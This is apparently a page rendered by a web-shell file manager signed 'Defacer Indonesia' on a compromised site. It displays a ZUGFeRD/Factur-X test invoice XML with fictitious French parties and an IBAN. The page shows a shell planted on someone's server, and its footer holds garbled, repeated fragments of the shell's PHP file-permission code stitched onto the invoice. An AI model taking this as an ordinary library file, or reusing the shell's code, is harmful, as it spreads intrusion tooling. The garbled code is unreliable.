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: /home/qbizpnmr/arif.umairtax.com/vendor/horstoeko/zugferd/tests/assets/
files >> /home/qbizpnmr/arif.umairtax.com/vendor/horstoeko/zugferd/tests/assets/xml_extended_2.xml
 <?xml version='1.0' encoding='UTF-8'?>
<rsm:CrossIndustryInvoice xmlns:qdt="urn:un:unece:uncefact:data:standard:QualifiedDataType:100" xmlns:ram="urn:un:unece:uncefact:data:standard:ReusableAggregateBusinessInformationEntity:100" xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100" xmlns:udt="urn:un:unece:uncefact:data:standard:UnqualifiedDataType:100" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <rsm:ExchangedDocumentContext>
        <ram:BusinessProcessSpecifiedDocumentContextParameter>
            <ram:ID>A1</ram:ID>
        </ram:BusinessProcessSpecifiedDocumentContextParameter>
        <ram:GuidelineSpecifiedDocumentContextParameter>
            <ram:ID>urn:cen.eu:en16931:2017#conformant#urn:factur-x.eu:1p0:extended</ram:ID>
        </ram:GuidelineSpecifiedDocumentContextParameter>
    </rsm:ExchangedDocumentContext>
    <rsm:ExchangedDocument>
        <ram:ID>F20200027</ram:ID>
        <ram:TypeCode>380</ram:TypeCode>
        <ram:IssueDateTime>
            <udt:DateTimeString format="102">20200115</udt:DateTimeString>
        </ram:IssueDateTime>
        <ram:IncludedNote>
            <ram:Content>FOURNISSEUR F SARL au capital de 50 000 EUR</ram:Content>
            <ram:SubjectCode>REG</ram:SubjectCode>
        </ram:IncludedNote>
        <ram:IncludedNote>
            <ram:Content>RCS MAVILLE 123 456 789</ram:Content>
            <ram:SubjectCode>ABL</ram:SubjectCode>
        </ram:IncludedNote>
    </rsm:ExchangedDocument>
    <rsm:SupplyChainTradeTransaction>
        <ram:IncludedSupplyChainTradeLineItem>
            <ram:AssociatedDocumentLineDocument>
                <ram:LineID>1</ram:LineID>
            </ram:AssociatedDocumentLineDocument>
            <ram:SpecifiedTradeProduct>
                <ram:GlobalID schemeID="0088">598785412598745</ram:GlobalID>
                <ram:Name>PRESTATION SUPPORT</ram:Name>
                <ram:Description>Description</ram:Description>
            </ram:SpecifiedTradeProduct>
            <ram:SpecifiedLineTradeAgreement>
                <ram:BuyerOrderReferencedDocument>
                    <ram:LineID>1</ram:LineID>
                </ram:BuyerOrderReferencedDocument>
                <ram:NetPriceProductTradePrice>
                    <ram:ChargeAmount>60.0000</ram:ChargeAmount>
                    <ram:BasisQuantity unitCode="C62">1.0000</ram:BasisQuantity>
                </ram:NetPriceProductTradePrice>
            </ram:SpecifiedLineTradeAgreement>
            <ram:SpecifiedLineTradeDelivery>
                <ram:BilledQuantity unitCode="C62">1.0000</ram:BilledQuantity>
            </ram:SpecifiedLineTradeDelivery>
            <ram:SpecifiedLineTradeSettlement>
                <ram:ApplicableTradeTax>
                    <ram:TypeCode>VAT</ram:TypeCode>
                    <ram:CategoryCode>S</ram:CategoryCode>
                    <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
                </ram:ApplicableTradeTax>
                <ram:BillingSpecifiedPeriod>
                    <ram:StartDateTime>
                        <udt:DateTimeString format="102">20191201</udt:DateTimeString>
                    </ram:StartDateTime>
                    <ram:EndDateTime>
                        <udt:DateTimeString format="102">20191231</udt:DateTimeString>
                    </ram:EndDateTime>
                </ram:BillingSpecifiedPeriod>
                <ram:SpecifiedTradeSettlementLineMonetarySummation>
                    <ram:LineTotalAmount>60.00</ram:LineTotalAmount>
                </ram:SpecifiedTradeSettlementLineMonetarySummation>
            </ram:SpecifiedLineTradeSettlement>
        </ram:IncludedSupplyChainTradeLineItem>
        <ram:IncludedSupplyChainTradeLineItem>
            <ram:AssociatedDocumentLineDocument>
                <ram:LineID>2</ram:LineID>
            </ram:AssociatedDocumentLineDocument>
            <ram:SpecifiedTradeProduct>
                <ram:Name>FOURNITURES DIVERSES</ram:Name>
                <ram:Description>Description</ram:Description>
            </ram:SpecifiedTradeProduct>
            <ram:SpecifiedLineTradeAgreement>
                <ram:BuyerOrderReferencedDocument>
                    <ram:LineID>3</ram:LineID>
                </ram:BuyerOrderReferencedDocument>
                <ram:NetPriceProductTradePrice>
                    <ram:ChargeAmount>10.0000</ram:ChargeAmount>
                </ram:NetPriceProductTradePrice>
            </ram:SpecifiedLineTradeAgreement>
            <ram:SpecifiedLineTradeDelivery>
                <ram:BilledQuantity unitCode="C62">3.0000</ram:BilledQuantity>
            </ram:SpecifiedLineTradeDelivery>
            <ram:SpecifiedLineTradeSettlement>
                <ram:ApplicableTradeTax>
                    <ram:TypeCode>VAT</ram:TypeCode>
                    <ram:CategoryCode>S</ram:CategoryCode>
                    <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
                </ram:ApplicableTradeTax>
                <ram:BillingSpecifiedPeriod>
                    <ram:StartDateTime>
                        <udt:DateTimeString format="102">20191201</udt:DateTimeString>
                    </ram:StartDateTime>
                </ram:BillingSpecifiedPeriod>
                <ram:SpecifiedTradeSettlementLineMonetarySummation>
                    <ram:LineTotalAmount>30.00</ram:LineTotalAmount>
                </ram:SpecifiedTradeSettlementLineMonetarySummation>
            </ram:SpecifiedLineTradeSettlement>
        </ram:IncludedSupplyChainTradeLineItem>
        <ram:IncludedSupplyChainTradeLineItem>
            <ram:AssociatedDocumentLineDocument>
                <ram:LineID>3</ram:LineID>
            </ram:AssociatedDocumentLineDocument>
            <ram:SpecifiedTradeProduct>
                <ram:Name>APPEL</ram:Name>
                <ram:Description>Description</ram:Description>
            </ram:SpecifiedTradeProduct>
            <ram:SpecifiedLineTradeAgreement>
                <ram:NetPriceProductTradePrice>
                    <ram:ChargeAmount>5.0000</ram:ChargeAmount>
                </ram:NetPriceProductTradePrice>
            </ram:SpecifiedLineTradeAgreement>
            <ram:SpecifiedLineTradeDelivery>
                <ram:BilledQuantity unitCode="C62">1.0000</ram:BilledQuantity>
            </ram:SpecifiedLineTradeDelivery>
            <ram:SpecifiedLineTradeSettlement>
                <ram:ApplicableTradeTax>
                    <ram:TypeCode>VAT</ram:TypeCode>
                    <ram:CategoryCode>S</ram:CategoryCode>
                    <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
                </ram:ApplicableTradeTax>
                <ram:BillingSpecifiedPeriod>
                    <ram:EndDateTime>
                        <udt:DateTimeString format="102">20191231</udt:DateTimeString>
                    </ram:EndDateTime>
                </ram:BillingSpecifiedPeriod>
                <ram:SpecifiedTradeSettlementLineMonetarySummation>
                    <ram:LineTotalAmount>5.00</ram:LineTotalAmount>
                </ram:SpecifiedTradeSettlementLineMonetarySummation>
            </ram:SpecifiedLineTradeSettlement>
        </ram:IncludedSupplyChainTradeLineItem>
        <ram:ApplicableHeaderTradeAgreement>
            <ram:BuyerReference>SERVEXEC</ram:BuyerReference>
            <ram:SellerTradeParty>
                <ram:GlobalID schemeID="0088">587451236587</ram:GlobalID>
                <ram:Name>LE FOURNISSEUR</ram:Name>
                <ram:SpecifiedLegalOrganization>
                    <ram:ID schemeID="0002">12345678900014</ram:ID>
                    <ram:TradingBusinessName>SELLER TRADE NAME</ram:TradingBusinessName>
                </ram:SpecifiedLegalOrganization>
                <ram:PostalTradeAddress>
                    <ram:PostcodeCode>75018</ram:PostcodeCode>
                    <ram:LineOne>35 rue d'ici</ram:LineOne>
                    <ram:LineTwo>Seller line 2</ram:LineTwo>
                    <ram:CityName>PARIS</ram:CityName>
                    <ram:CountryID>FR</ram:CountryID>
                </ram:PostalTradeAddress>
                <ram:URIUniversalCommunication>
                    <ram:URIID schemeID="EM">moi@seller.com</ram:URIID>
                </ram:URIUniversalCommunication>
                <ram:SpecifiedTaxRegistration>
                    <ram:ID schemeID="VA">FR32123456789</ram:ID>
                </ram:SpecifiedTaxRegistration>
            </ram:SellerTradeParty>
            <ram:BuyerTradeParty>
                <ram:GlobalID schemeID="0088">3654789851</ram:GlobalID>
                <ram:Name>LE CLIENT</ram:Name>
                <ram:SpecifiedLegalOrganization>
                    <ram:ID schemeID="0002">98765432100029</ram:ID>
                </ram:SpecifiedLegalOrganization>
                <ram:PostalTradeAddress>
                    <ram:PostcodeCode>06000</ram:PostcodeCode>
                    <ram:LineOne>58 rue de la mer</ram:LineOne>
                    <ram:LineTwo>Buyer line 2</ram:LineTwo>
                    <ram:CityName>NICE</ram:CityName>
                    <ram:CountryID>FR</ram:CountryID>
                </ram:PostalTradeAddress>
                <ram:URIUniversalCommunication>
                    <ram:URIID schemeID="EM">me@buyer.com</ram:URIID>
                </ram:URIUniversalCommunication>
                <ram:SpecifiedTaxRegistration>
                    <ram:ID schemeID="VA">FR 05 987 654 321</ram:ID>
                </ram:SpecifiedTaxRegistration>
            </ram:BuyerTradeParty>
            <ram:SellerOrderReferencedDocument>
                <ram:IssuerAssignedID>SALES REF 2547</ram:IssuerAssignedID>
            </ram:SellerOrderReferencedDocument>
            <ram:BuyerOrderReferencedDocument>
                <ram:IssuerAssignedID>PO201925478</ram:IssuerAssignedID>
            </ram:BuyerOrderReferencedDocument>
            <ram:ContractReferencedDocument>
                <ram:IssuerAssignedID>CT2018120802</ram:IssuerAssignedID>
            </ram:ContractReferencedDocument>
            <ram:AdditionalReferencedDocument>
                <ram:IssuerAssignedID>SUPPort doc</ram:IssuerAssignedID>
                <ram:URIID>url:gffter</ram:URIID>
                <ram:TypeCode>916</ram:TypeCode>
                <ram:Name>support descript</ram:Name>
            </ram:AdditionalReferencedDocument>
            <ram:AdditionalReferencedDocument>
                <ram:IssuerAssignedID>TENDER-002</ram:IssuerAssignedID>
                <ram:TypeCode>50</ram:TypeCode>
            </ram:AdditionalReferencedDocument>
            <ram:AdditionalReferencedDocument>
                <ram:IssuerAssignedID>REFCLI0215</ram:IssuerAssignedID>
                <ram:TypeCode>130</ram:TypeCode>
            </ram:AdditionalReferencedDocument>
            <ram:SpecifiedProcuringProject>
                <ram:ID>PROJET2547</ram:ID>
                <ram:Name>Project reference</ram:Name>
            </ram:SpecifiedProcuringProject>
        </ram:ApplicableHeaderTradeAgreement>
        <ram:ApplicableHeaderTradeDelivery>
            <ram:ShipToTradeParty>
                <ram:GlobalID schemeID="0088">3654789851</ram:GlobalID>
                <ram:Name>DEL Name</ram:Name>
                <ram:PostalTradeAddress>
                    <ram:PostcodeCode>06000</ram:PostcodeCode>
                    <ram:LineOne>DEL 58 rue de la mer</ram:LineOne>
                    <ram:LineTwo>DEL line 2</ram:LineTwo>
                    <ram:CityName>NICE</ram:CityName>
                    <ram:CountryID>FR</ram:CountryID>
                </ram:PostalTradeAddress>
            </ram:ShipToTradeParty>
            <ram:ActualDeliverySupplyChainEvent>
                <ram:OccurrenceDateTime>
                    <udt:DateTimeString format="102">20200115</udt:DateTimeString>
                </ram:OccurrenceDateTime>
            </ram:ActualDeliverySupplyChainEvent>
            <ram:DespatchAdviceReferencedDocument>
                <ram:IssuerAssignedID>DESPADV002</ram:IssuerAssignedID>
            </ram:DespatchAdviceReferencedDocument>
            <ram:ReceivingAdviceReferencedDocument>
                <ram:IssuerAssignedID>RECEIV-ADV002</ram:IssuerAssignedID>
            </ram:ReceivingAdviceReferencedDocument>
        </ram:ApplicableHeaderTradeDelivery>
        <ram:ApplicableHeaderTradeSettlement>
            <ram:PaymentReference>F20180023BUYER</ram:PaymentReference>
            <ram:InvoiceCurrencyCode>EUR</ram:InvoiceCurrencyCode>
            <ram:SpecifiedTradeSettlementPaymentMeans>
                <ram:TypeCode>30</ram:TypeCode>
                <ram:PayeePartyCreditorFinancialAccount>
                    <ram:IBANID>FR76 1254 2547 2569 8542 5874 698</ram:IBANID>
                </ram:PayeePartyCreditorFinancialAccount>
            </ram:SpecifiedTradeSettlementPaymentMeans>
            <ram:ApplicableTradeTax>
                <ram:CalculatedAmount>10.00</ram:CalculatedAmount>
                <ram:TypeCode>VAT</ram:TypeCode>
                <ram:BasisAmount>100.00</ram:BasisAmount>
                <ram:CategoryCode>S</ram:CategoryCode>
                <ram:DueDateTypeCode>72</ram:DueDateTypeCode>
                <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
            </ram:ApplicableTradeTax>
            <ram:BillingSpecifiedPeriod>
                <ram:StartDateTime>
                    <udt:DateTimeString format="102">20191201</udt:DateTimeString>
                </ram:StartDateTime>
                <ram:EndDateTime>
                    <udt:DateTimeString format="102">20191231</udt:DateTimeString>
                </ram:EndDateTime>
            </ram:BillingSpecifiedPeriod>
            <ram:SpecifiedTradeAllowanceCharge>
                <ram:ChargeIndicator>
                    <udt:Indicator>false</udt:Indicator>
                </ram:ChargeIndicator>
                <ram:ActualAmount>5.00</ram:ActualAmount>
                <ram:Reason>REMISE COMMERCIALE</ram:Reason>
                <ram:CategoryTradeTax>
                    <ram:TypeCode>VAT</ram:TypeCode>
                    <ram:CategoryCode>S</ram:CategoryCode>
                    <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
                </ram:CategoryTradeTax>
            </ram:SpecifiedTradeAllowanceCharge>
            <ram:SpecifiedTradeAllowanceCharge>
                <ram:ChargeIndicator>
                    <udt:Indicator>true</udt:Indicator>
                </ram:ChargeIndicator>
                <ram:ActualAmount>10.00</ram:ActualAmount>
                <ram:Reason>FRAIS DEPLACEMENT</ram:Reason>
                <ram:CategoryTradeTax>
                    <ram:TypeCode>VAT</ram:TypeCode>
                    <ram:CategoryCode>S</ram:CategoryCode>
                    <ram:RateApplicablePercent>10.00</ram:RateApplicablePercent>
                </ram:CategoryTradeTax>
            </ram:SpecifiedTradeAllowanceCharge>
            <ram:SpecifiedTradePaymentTerms>
                <ram:DueDateDateTime>
                    <udt:DateTimeString format="102">20200215</udt:DateTimeString>
                </ram:DueDateDateTime>
            </ram:SpecifiedTradePaymentTerms>
            <ram:SpecifiedTradeSettlementHeaderMonetarySummation>
                <ram:LineTotalAmount>95.00</ram:LineTotalAmount>
                <ram:ChargeTotalAmount>10.00</ram:ChargeTotalAmount>
                <ram:AllowanceTotalAmount>5.00</ram:AllowanceTotalAmount>
                <ram:TaxBasisTotalAmount>100.00</ram:TaxBasisTotalAmount>
                <ram:TaxTotalAmount currencyID="EUR">10.00</ram:TaxTotalAmount>
                <ram:GrandTotalAmount>110.00</ram:GrandTotalAmount>
                <ram:TotalPrepaidAmount>10.00</ram:TotalPrepaidAmount>
                <ram:DuePayableAmount>100.00</ram:DuePayableAmount>
            </ram:SpecifiedTradeSettlementHeaderMonetarySummation>
            <ram:InvoiceReferencedDocument>
                <ram:IssuerAssignedID>F20200003</ram:IssuerAssignedID>
                <ram:FormattedIssueDateTime>
                    <qdt:DateTimeString format="102">20191130</qdt:DateTimeString>
                </ram:FormattedIssueDateTime>
            </ram:InvoiceReferencedDocument>
            <ram:ReceivableSpecifiedTradeAccountingAccount>
                <ram:ID>BUYER ACCOUNT REF</ram:ID>
            </ram:ReceivableSpecifiedTradeAccountingAccount>
        </ram:ApplicableHeaderTradeSettlement>
    </rsm:SupplyChainTradeTransaction>
</rsm:CrossIndustryInvoice>
Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>